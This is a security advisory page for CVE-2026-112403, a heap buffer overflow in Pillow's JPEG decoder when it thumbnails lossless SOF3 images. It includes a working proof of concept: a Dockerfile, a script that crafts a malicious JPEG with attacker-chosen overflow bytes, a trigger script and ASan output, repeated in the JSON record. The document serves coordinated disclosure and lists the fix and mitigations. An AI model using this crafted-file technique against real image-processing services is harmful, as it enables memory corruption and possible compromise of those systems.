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GHSA-8G5G-8VMR-9782

Vulnerability from github – Published: 2026-10-20 20:40 – Updated: 2026-10-20 20:40

Summary

Pillow: Heap buffer overflow in ImagingJpegDecode

Details

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self._size and the tile extents to match, so _setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scale_num/scale_denom, calls jpeg_start_decompress(), and then reads scanlines into that buffer without ever comparing cinfo.output_width, cinfo.output_height or cinfo.out_color_components against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scale_denom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpeg_read_scanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpeg_start_decompress() at :240, jpeg_read_scanlines() at :252, with no geometry check between them.
src/decode.c:222-231 — _setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits * state->xsize + 7) / 8.
src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks _size, the tile extents and decoderconfig with no notion of lossless coding.
src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).

// src/libImaging/JpegDecode.c
            if (context->scale > 1) {
                context->cinfo.scale_num = 1;
                context->cinfo.scale_denom = context->scale;
            }
            ...
        case 2:
            if (!jpeg_start_decompress(&context->cinfo)) {
                break;
            }
            state->state++;
            /* fall through */
        case 3:
            ok = 1;
            while (state->y < state->ysize) {
                ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's output_height when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requested_w >= 2 and H // requested_h >= 2. For thumbnail((256,256)) with the default reducing_gap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGET_COMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, make_sof3.py and trigger.py in an empty directory, then:

docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

make_sof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

`Dockerfile`

FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
        wget gnupg lsb-release software-properties-common \
        python3 python3-dev python3-pip python3-venv zlib1g-dev \
    && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
    && apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
    && rm -rf /var/lib/apt/lists/*

ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"

# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
    && cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
        -DCMAKE_C_COMPILER=clang-20 \
        -DCMAKE_C_FLAGS="$CFLAGS" \
        -DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
    && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}

ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
    && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
    && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
       /venv/bin/pip install --no-build-isolation --no-deps . \
    && ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
    && LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
       /venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"

COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg

ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

`make_sof3.py`

#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys

W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD"  # attacker-chosen bytes that land past the buffer


class BitWriter:
    def __init__(self):
        self.out = bytearray()
        self.acc = 0
        self.n = 0

    def put(self, value, nbits):
        for i in range(nbits - 1, -1, -1):
            self.acc = (self.acc << 1) | ((value >> i) & 1)
            self.n += 1
            if self.n == 8:
                self.out.append(self.acc)
                if self.acc == 0xFF:
                    self.out.append(0x00)  # byte stuffing
                self.acc = 0
                self.n = 0

    def flush(self):
        while self.n:
            self.put(1, 1)
        return bytes(self.out)


# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}


def category(d):
    if d == 0:
        return 0
    return abs(d).bit_length()


def build_pixels():
    rows = []
    for y in range(H):
        row = bytearray()
        while len(row) < W:
            row += MARKER
        rows.append(bytes(row[:W]))
    return rows


def main(path):
    rows = build_pixels()
    bw = BitWriter()
    prev = None
    for y in range(H):
        row = rows[y]
        for x in range(W):
            s = row[x]
            if y == 0 and x == 0:
                pred = 1 << 7          # 2^(P-1-Pt)
            elif x == 0:
                pred = prev[0]         # Rb for first sample of a line
            else:
                pred = row[x - 1]      # Ra, predictor 1
            d = (s - pred) & 0xFFFF
            if d >= 0x8000:
                d -= 0x10000
            ssss = category(d)
            code, length = CODES[ssss]
            bw.put(code, length)
            if ssss:
                v = d if d > 0 else d + (1 << ssss) - 1
                bw.put(v & ((1 << ssss) - 1), ssss)
        prev = row
    entropy = bw.flush()

    out = bytearray()
    out += b"\xff\xd8"                                        # SOI
    # DHT: class 0 (DC/lossless), table id 0
    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
    out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
    # SOF3: lossless, Huffman, sequential
    sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
    out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
    sos = bytes([1, 1, 0x00, 1, 0, 0])
    out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
    out += entropy
    out += b"\xff\xd9"                                        # EOI
    with open(path, "wb") as f:
        f.write(bytes(out))
    print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")

`trigger.py`

import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
    im.thumbnail((256, 256))
    print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
    print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256))  # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
    #0 __asan_memcpy
    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
    #6 _decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
    #0 calloc
    #1 _setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0.
Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.
No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data.
Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducing_gap=None), avoids the path in an application today.
Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERR_ARITH_NOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERR_SOF_UNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Severity

9.2 (Critical)


                  
                    CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Pillow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-122"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T20:40:07Z",
    "nvd_published_at": "2026-10-19T22:17:07Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`JpegImageFile.draft()` \u2014 which `Image.thumbnail()` calls automatically \u2014 requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks `self._size` and the tile extents to match, so `_setimage()` allocates a single-row decode buffer of `ceil(W/s)` samples. `ImagingJpegDecode()` sets `cinfo.scale_num`/`scale_denom`, calls `jpeg_start_decompress()`, and then reads scanlines into that buffer without ever comparing `cinfo.output_width`, `cinfo.output_height` or `cinfo.out_color_components` against `state-\u003exsize`, `state-\u003eysize` and `state-\u003ebits`.\n\nlibjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling \u2014 the requested `scale_denom` is silently discarded. It therefore returns full-width `W`-sample rows into a buffer sized for `ceil(W/s)`. Each `jpeg_read_scanlines()` call writes `(W - ceil(W/s)) x components` bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.\n\nThe input is a standards-compliant JPEG, so `Image.open(..., formats=[\"JPEG\"])` does not prevent it. Pillow\u0027s Python SOF parser already accepts marker `0xFFC3` (\"SOF3\", \"Spatial lossless\") at 8-bit precision, so the file opens normally as a `JPEG` / mode `L` image at its full declared size.\n\n## Affected code\n\nAt `e41083f383c9cd3db95de52564cc0b6452313d4a` (`main`, 2026-08-29):\n\n- `src/libImaging/JpegDecode.c:224-262` \u2014 `ImagingJpegDecode()`; `jpeg_start_decompress()` at :240, `jpeg_read_scanlines()` at :252, with no geometry check between them.\n- `src/decode.c:222-231` \u2014 `_setimage()`; `state-\u003ebuffer = calloc(1, state-\u003ebytes)` with `state-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8`.\n- `src/PIL/JpegImagePlugin.py:428-464` \u2014 `JpegImageFile.draft()`; computes `s` and shrinks `_size`, the tile extents and `decoderconfig` with no notion of lossless coding.\n- `src/PIL/JpegImagePlugin.py:271` \u2014 `0xFFC3: (\"SOF3\", \"Spatial lossless\", SOF)`.\n\n```c\n// src/libImaging/JpegDecode.c\n            if (context-\u003escale \u003e 1) {\n                context-\u003ecinfo.scale_num = 1;\n                context-\u003ecinfo.scale_denom = context-\u003escale;\n            }\n            ...\n        case 2:\n            if (!jpeg_start_decompress(\u0026context-\u003ecinfo)) {\n                break;\n            }\n            state-\u003estate++;\n            /* fall through */\n        case 3:\n            ok = 1;\n            while (state-\u003ey \u003c state-\u003eysize) {\n                ok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);\n```\n\nBecause `state-\u003eysize` (`ceil(H/s)`) can never equal libjpeg\u0027s `output_height` when `s \u003e= 2`, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The `OSError` is a consequence of the overflow, not the issue being reported.\n\n## Primitive\n\nPer scanline: a contiguous write of `(W - ceil(W/s)) x c` bytes immediately past a `calloc(ceil(W/s) x c)` block, where `c = 1` for mode `L` and 4 for RGB (RGBX) and CMYK; repeated for `ceil(H/s)` rows over the same region. The buffer size class is chosen by the attacker through `W`, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.\n\nMeasured in the reproducer below: 1200x1100 mode `L`, `s=2` \u2014 a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one `memcpy`.\n\nThreshold: `draft()` must select `s \u003e= 2`, i.e. `W // requested_w \u003e= 2` and `H // requested_h \u003e= 2`. For `thumbnail((256,256))` with the default `reducing_gap=2.0` that means `W, H \u003e= 1024`.\n\n## Reproduction\n\nSelf-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with `-fsanitize=address`; Pillow checked out at `${TARGET_COMMIT}`, default `e41083f383c9cd3db95de52564cc0b6452313d4a`). Save the three files below as `Dockerfile`, `make_sof3.py` and `trigger.py` in an empty directory, then:\n\n```bash\ndocker build -t pillow-sof3-oob . \u0026\u0026 docker run --rm pillow-sof3-oob\n```\n\n`make_sof3.py` is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 `P=8, Y=1100, X=1200, Nf=1` / SOS `Ss=1` predictor 1, `Se=0`, `Ah=Al=0` / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. `trigger.py` opens it and calls `thumbnail()`, whose implicit `draft()` picks `s=2` and allocates a 600-byte row buffer.\n\n### `Dockerfile`\n\n```dockerfile\nFROM ubuntu:24.04\nENV DEBIAN_FRONTEND=noninteractive\nARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a\nARG CLANG_VERSION=20\nARG LIBJPEG_TURBO_TAG=3.1.4\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates git make cmake nasm pkg-config libc6-dev gcc \\\n        wget gnupg lsb-release software-properties-common \\\n        python3 python3-dev python3-pip python3-venv zlib1g-dev \\\n    \u0026\u0026 wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh \u0026\u0026 chmod +x /tmp/llvm.sh \u0026\u0026 /tmp/llvm.sh ${CLANG_VERSION} \\\n    \u0026\u0026 apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nENV CC=clang-20\nENV CXX=clang++-20\nENV CFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV CXXFLAGS=\"-g -fno-omit-frame-pointer -O1 -fsanitize=address\"\nENV LDFLAGS=\"-fsanitize=address\"\n\n# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---\nRUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo\nRUN cd /src/libjpeg-turbo \u0026\u0026 git checkout ${LIBJPEG_TURBO_TAG} \\\n    \u0026\u0026 cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \\\n        -DCMAKE_C_COMPILER=clang-20 \\\n        -DCMAKE_C_FLAGS=\"$CFLAGS\" \\\n        -DCMAKE_EXE_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_SHARED_LINKER_FLAGS=\"$LDFLAGS\" \\\n        -DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \\\n    \u0026\u0026 cmake --build /build/ljt -j\"$(nproc)\" \u0026\u0026 cmake --install /build/ljt\n\n# --- Pillow at the pinned commit, built with ASan against that libjpeg ---\nRUN git clone https://github.com/python-pillow/Pillow /src/repo\nWORKDIR /src/repo\nRUN git checkout ${TARGET_COMMIT}\n\nENV JPEG_ROOT=/opt/ljt\nENV LD_LIBRARY_PATH=/opt/ljt/lib\nRUN python3 -m venv /venv \\\n    \u0026\u0026 /venv/bin/pip install --quiet --upgrade pip \"setuptools\u003e=80\" wheel pybind11 \\\n    \u0026\u0026 CFLAGS=\"$CFLAGS\" LDFLAGS=\"$LDFLAGS -Wl,-rpath,/opt/ljt/lib\" \\\n       /venv/bin/pip install --no-build-isolation --no-deps . \\\n    \u0026\u0026 ln -sf \"$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)\" /opt/libasan.so \\\n    \u0026\u0026 LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \\\n       /venv/bin/python3 -c \"from PIL import Image, features; print(Image.__version__, features.version(\u0027jpg\u0027))\"\n\nCOPY make_sof3.py /tmp/make_sof3.py\nCOPY trigger.py /tmp/trigger.py\nRUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg\n\nENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1\nENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer\nENV LD_PRELOAD=/opt/libasan.so\nCMD [\"/bin/sh\",\"-c\",\"cd /tmp \u0026\u0026 /venv/bin/python3 /tmp/trigger.py 2\u003e\u00261; echo EXIT=$?\"]\n```\n\n### `make_sof3.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.\n\nStandards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).\nRows carry an attacker-chosen marker byte pattern verbatim (lossless =\u003e exact).\n\"\"\"\nimport struct\nimport sys\n\nW = 1200\nH = 1100\nMARKER = b\"AAAABBBBCCCCDDDD\"  # attacker-chosen bytes that land past the buffer\n\n\nclass BitWriter:\n    def __init__(self):\n        self.out = bytearray()\n        self.acc = 0\n        self.n = 0\n\n    def put(self, value, nbits):\n        for i in range(nbits - 1, -1, -1):\n            self.acc = (self.acc \u003c\u003c 1) | ((value \u003e\u003e i) \u0026 1)\n            self.n += 1\n            if self.n == 8:\n                self.out.append(self.acc)\n                if self.acc == 0xFF:\n                    self.out.append(0x00)  # byte stuffing\n                self.acc = 0\n                self.n = 0\n\n    def flush(self):\n        while self.n:\n            self.put(1, 1)\n        return bytes(self.out)\n\n\n# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.\nBITS = [0] * 17\nBITS[5] = 17\nHUFFVAL = list(range(17))\nCODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}\n\n\ndef category(d):\n    if d == 0:\n        return 0\n    return abs(d).bit_length()\n\n\ndef build_pixels():\n    rows = []\n    for y in range(H):\n        row = bytearray()\n        while len(row) \u003c W:\n            row += MARKER\n        rows.append(bytes(row[:W]))\n    return rows\n\n\ndef main(path):\n    rows = build_pixels()\n    bw = BitWriter()\n    prev = None\n    for y in range(H):\n        row = rows[y]\n        for x in range(W):\n            s = row[x]\n            if y == 0 and x == 0:\n                pred = 1 \u003c\u003c 7          # 2^(P-1-Pt)\n            elif x == 0:\n                pred = prev[0]         # Rb for first sample of a line\n            else:\n                pred = row[x - 1]      # Ra, predictor 1\n            d = (s - pred) \u0026 0xFFFF\n            if d \u003e= 0x8000:\n                d -= 0x10000\n            ssss = category(d)\n            code, length = CODES[ssss]\n            bw.put(code, length)\n            if ssss:\n                v = d if d \u003e 0 else d + (1 \u003c\u003c ssss) - 1\n                bw.put(v \u0026 ((1 \u003c\u003c ssss) - 1), ssss)\n        prev = row\n    entropy = bw.flush()\n\n    out = bytearray()\n    out += b\"\\xff\\xd8\"                                        # SOI\n    # DHT: class 0 (DC/lossless), table id 0\n    dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)\n    out += b\"\\xff\\xc4\" + struct.pack(\"\u003eH\", len(dht) + 2) + dht\n    # SOF3: lossless, Huffman, sequential\n    sof = struct.pack(\"\u003eBHHB\", 8, H, W, 1) + bytes([1, 0x11, 0])\n    out += b\"\\xff\\xc3\" + struct.pack(\"\u003eH\", len(sof) + 2) + sof\n    # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0\n    sos = bytes([1, 1, 0x00, 1, 0, 0])\n    out += b\"\\xff\\xda\" + struct.pack(\"\u003eH\", len(sos) + 2) + sos\n    out += entropy\n    out += b\"\\xff\\xd9\"                                        # EOI\n    with open(path, \"wb\") as f:\n        f.write(bytes(out))\n    print(f\"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless\")\n\n\nif __name__ == \"__main__\":\n    main(sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/sof3_gray_1200x1100.jpg\")\n```\n\n### `trigger.py`\n\n```python\nimport sys\nfrom PIL import Image, features\nprint(\"Pillow\", Image.__version__, \"| libjpeg\", features.version(\"jpg\"), flush=True)\nim = Image.open(\"/tmp/sof3_gray_1200x1100.jpg\")\nprint(\"format=%s mode=%s size=%s\" % (im.format, im.mode, im.size), flush=True)\nprint(\"\u003e\u003e\u003e im.thumbnail((256, 256))  # draft() picks s=2 -\u003e 600-byte row buffer\", flush=True)\nsys.stdout.flush()\ntry:\n    im.thumbnail((256, 256))\n    print(\"thumbnail returned, size=%s\" % (im.size,), flush=True)\nexcept Exception as e:\n    print(\"exception: %r\" % (e,), flush=True)\n```\n\nValidated output:\n\n```\nPillow 13.0.0.dev0 | libjpeg 6.2\nformat=JPEG mode=L size=(1200, 1100)\n\u003e\u003e\u003e im.thumbnail((256, 256))  # draft() picks s=2 -\u003e 600-byte row buffer\n=================================================================\n==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422\nWRITE of size 1200 at 0x74e4e904aad8 thread T0\n    #0 __asan_memcpy\n    #1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5\n    #2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3\n    #3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3\n    #4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3\n    #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22\n    #6 _decode /src/repo/src/decode.c:132:14\n\n0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)\nallocated by thread T0 here:\n    #0 calloc\n    #1 _setimage /src/repo/src/decode.c:230:34\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy\n```\n\nNegative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as `draft()` computed it.\n\n```\ncontrol baseline DCT JPEG: JPEG L (1200, 1100)\nthumbnail OK, size = (256, 235) -- no ASan report\n```\n\n## Scope and caveats\n\n- Reproduced on `main` at `e41083f383c9cd3db95de52564cc0b6452313d4a`, which is current `origin/main` as of 2026-08-30. Also reported against 12.3.0.\n- Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo \u003e= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected.\n- No non-default Pillow configuration is involved: `Image.thumbnail()` calls `draft()` by default, and the triggering bytes are entirely file data.\n- Only paths that use `draft()` before loading are affected. `open().load()` and `resize()` decode at scale 1 and are unaffected. Calling `img.load()` before `thumbnail()`, or `thumbnail(..., reducing_gap=None)`, avoids the path in an application today.\n- Not affected on the same code path: SOF11 (arithmetic lossless) fails with `JERR_ARITH_NOTIMPL` before any row; 12- and 16-bit lossless are rejected by Pillow\u0027s `SOF()` because it requires `bits == 8`; SOF5-7/13-15 fail with `JERR_SOF_UNSUPPORTED`.\n\n\n## Credit and disclosure\n\nFound by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.\n\nThis report follows Anthropic\u0027s coordinated vulnerability disclosure policy\n(https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day\ndisclosure window from the date of this report.\n\nCredit goes to Claude (Anthropic) and Ada Logics.",
  "id": "GHSA-8g5g-8vmr-9782",
  "modified": "2026-10-20T20:40:07Z",
  "published": "2026-10-20T20:40:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112403"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
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  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: Heap buffer overflow in ImagingJpegDecode"
}

CVE-2026-112403 (GCVE-0-2026-112403)

Vulnerability from cvelistv5 – Published: 2026-10-19 21:22 – Updated: 2026-10-19 21:22

Title

Pillow: Heap buffer overflow in ImagingJpegDecode

Summary

